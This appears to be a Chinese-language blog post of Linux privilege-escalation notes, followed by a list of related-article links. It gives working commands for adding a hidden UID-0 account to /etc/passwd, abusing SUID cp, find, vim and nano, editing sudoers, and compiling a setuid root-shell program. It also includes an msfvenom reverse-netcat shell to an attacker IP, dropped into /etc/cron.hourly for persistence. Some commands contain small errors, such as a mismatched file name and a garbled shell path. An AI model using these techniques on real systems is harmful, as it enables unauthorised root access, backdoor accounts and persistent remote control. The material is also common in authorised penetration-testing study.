利用/etc/passwd提权

个人认为,这种提权方式在现实场景中难以实现,条件太过苛刻,但是建立Linux下的隐藏账户是个不错的选择,灵感来自:https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/

  1. 利用条件

    • 拥有一个普通用户的权限
    • 普通用户有/etc/passwd的写权限
  2. 利用原理

    目前不是特别清楚,只知道Linux下的/etc/passwd用于标识账户信息,/etc/shadow用于标识密码信息,/etc/group用于标识用户组信息

  3. 利用细节

    直接修改/etc/passwd,先观察root用户的格式:

    root:x:0:0:root:/root:/bin/bash

    root表示用户名;x表示密码hash,0表示用户ID,0表示用户组ID,/root表示用户相关信息,/bin/bash表示该用户使用何种shell执行命令

    举个例子:

    test:passwd_hash:0:0::/bin/hash

    这里只要设置密码hash值即可,制作密码hash有以下几种方式:

    • OpenSSL

      openssl passwd -1 -salt salt password
    • mkpasswd

      mkpasswd -m SHA-512 password
    • Python

      python -c 'import crypt; print crypt.crypt("password","$6$salt")'
    • Perl

      perl -le 'print crypt("password","salt")'
    • PHP

      php -r "print(crypt('password','salt') . \"\n\");"

利用suid提权

灵感来自:https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/

在Linux中,存在suid、guid、sticky,suid是一种权限类型,它允许拥有SUID的用户使用指定用户的权限执行文件,通常SUID表示文件的最高执行权限。一般Linux中文件的权限如0777,第一位0表示为特殊权限,7表示rwx(读写执行);对于第一位,如果是4表示拥有SUID权限,如果是2表示拥有GUID权限,如果是1表示,拥有sticky的权限,它能创建删除任何用户ID在目录中的文件

在实际复现时,发现确实还是挺实用的-.-,测试环境kali-2019.1

  1. 利用条件

    • 文件拥有SUID权限
    • 一个普通用户权限
  2. 利用原理

    本质上是间接利用了/etc/passwd提权,一般采用find / -perm -u=s -type f 2>/dev/null

  3. 利用细节

    • 利用cp命令提权

      第一:查看/bin/cp是否具备SUID权限

      whereis find
      find / -perm -u=s -type f 2>/dev/null

      第二:替换/etc/passwd

      先获取原本的/etc/passwd;然后在文件中添加一行用户信息,其中用户的hash制作可参考/etc/passwd提权中的方式;最后将篡改后的passwd文件覆盖/etc/passwd文件

      第三:第二步其实已经完成,此处可再利用cp命令反弹shell

      msfvenom -p cmd/unix/reverse_netcat lhost=攻击者IP lport=攻击者监听的端口 R
      # 生成并保存至1.sh文件中
      # 将反弹shell的脚本放置在计划任务中,使其每小时启动一次
      cp 1.sh /etc/cron.hourly/
    • 利用find命令提权

      第一:查看find命令所在的文件位置

      whereis find
      find / -perm -u=s -type f 2>/dev/null

      第二:使用find执行系统命令

      # 先创建一个空文件
      touch temp
      # 然后借助空文件执行系统命令
      find temp -exec "whoami" \;
      # 这几个命令比较相似,区别无非就是:有没有引号,有没有花括号,实际测试时,这条指令一切OK
      find /etc/passwd -exec whoami \;
      # 其它命令
      find /etc/passwd -exec whoami {} \;

      第三:扩展

      # 实际测试时,综合利用,发现还比较实用,因为find一般默认拥有SUID权限
      # 在测试时发现执行命令有时跟当前一般用户权限有关,如:重定向操作符无法正常使用,因为没有写权限
      # 这里采用一种迂回的方式,写文件
      # 使用dd命令生成一个空文件
      dd if=/dev/zero of=/var/www/html/1.txt bs=1 count=1
      # 然后使用sed替换文件内容
      sed -i 's/\x0/content/g' /var/www/html/1.txt
      # 使用这种方法,结合/etc/passwd提权方式,获取root权限
    • 利用vim编辑器提权

      第一:查看vim所在的文件位置

      which vim
      whereis vim
      find / -perm -u=s -type f 2>/dev/null

      第二:赋予普通用户sudo的权限

      # 通过修改sudoer文件给与指定用户sudo的权限
      visudo
      vim.basic /etc/sudoer
      # 在文件中写入一行数据
      username ALL=(ALL:ALL) ALL

      第三:验证用户是否拥有root权限

      # 直接进入root的交互命令行
      sudo bash
      # sudo查看shadow文件
      sudo cat /etc/shadow
    • 使用已保存的脚本提权

      个人觉得这种方式没另外几种实用性好

      #include<stdio.h>
      #include<unistd.h>
      #include<sys/types.h> int main()
      {
      setuid(geteuid());
      system("/bin/bash");
      return 0;
      }

      上述代码保存至文件payload.c

      使用以下命令生成一个拥有SUID的payload可执行文件

      gcc shell.c -o shell
      chmod u+s shell

      执行payload程序,获取root权限的交互shell

      ./payload
      id
    • 通过Nano编辑器提权

      第一:获取nano的文件位置

      which nano
      whereis nano
      find / -perm -u=s -type f 2>/dev/null

      第二:直接修改/etc/passwd

      # 编辑/etc/passwd
      nano /etc/passwd
      # 添加一行数据(参考/etc/passwd提权方式)
      test:password_hash:0:0::/root:/bin/bash

      第三:其实第二步已经达成目标,第三步可选[个人感觉不是很方便]

      # 编辑/etc/shadow
      nano /etc/shadow
      # 添加一行数据
      按照格式填写用户相关的密码hash

Linux提权(持续更新)的更多相关文章

  1. Linux提权:从入门到放弃

    *原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...

  2. Linux提权(1)-基础版~

    利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ...

  3. 又一款linux提权辅助工具

    又一款linux提权辅助工具 – Linux_Exploit_Suggester 2013-09-06 10:34 1455人阅读 评论(0) 收藏 举报 https://github.com/Pen ...

  4. 记一次初步Linux提权

    前言. 提权这么久了  还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器  要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...

  5. 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

    免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...

  6. 利用Metasploit进行Linux提权

    利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...

  7. 20. Linux提权:从入门到放弃

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

  8. Unix/Linux提权漏洞快速检测工具unix-privesc-check

    Unix/Linux提权漏洞快速检测工具unix-privesc-check   unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...

  9. Linux提权中常见命令大全

    在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的 ...

随机推荐

  1. SonarQube 7.7 安装教程

    SonarQube 7.7 安装教程 一. CentOS设置 1. 更换阿里源 curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.ali ...

  2. java List<T>和List<Object>的区别

    // List<T> 的T表示的是某一类型可以用人一类型来替代,一般在定义的时候使用 // List<Object> 就是具体的了表示这个List里只能放置Object pub ...

  3. <转>二十问全链路压测干货汇总(上)

    本文转载自:微信公众号-数列科技<二十问全链路压测干货汇总(上)> 最近几年全链路压测无疑成为了一个热门话题,在各个技术峰会上都可以看到它的身影. 一些大型的互联网公司,比如阿里巴巴.京东 ...

  4. 学习Python 能找到工作?1300+条招聘信息告诉你答案

    对于python这块有任何不懂的问题可以随时来问我,我对于学习方法,系统学习规划,还有学习效率这些知道一些,希望可以帮助大家少走弯路.当然也会送给大家一份系统性的python资料,文末附有爬虫项目实战 ...

  5. LIS初级推算(最长上升子序列问题)

    所谓LIS,就是Longest Increasing Subsequence问题 注意,子序列不一定是连续的,举个例子:对于序列10,9,2,3,5,4,7,9,101,18,其中的LIS就是2,3, ...

  6. oracle索引失效情况(转)

    1.隐式转换导致索引失效.这一点应当引起重视.也是开发中经常会犯的错误.   由于表的字段tu_mdn定义为varchar2(20),但在查询时把该字段作为number类型以where条件传给Orac ...

  7. Bootstrap Blazor 初体验

    自微软去年发布blazor以来,我也一直关注着blazor的动态,从net core 3.1 到 net 5,从 server side 到 wasm client , 点点滴滴印证了 blazor ...

  8. Luogu P3757 [CQOI2017]老C的键盘

    题目描述 老C的键盘 题解 显然对于每个数 x 都有唯一对应的 \(x/2\) , 然而对于每个数 x 却可以成为 \(x*2\) 和 \(x*2+1\) 的对应数 根据这一特性想到了啥??? 感谢l ...

  9. sqlsugar入门(1)-初识sugar正确打开sugar的方式

    1.实例化DB public static SqlSugarClient GetDB(string s) { var ssc = new SqlSugarClient(new ConnectionCo ...

  10. Java学习的第五十一天

    1.例9.3 析构函数 public class Cjava { public static void main(String[]args) { Student s1=new Student(1001 ...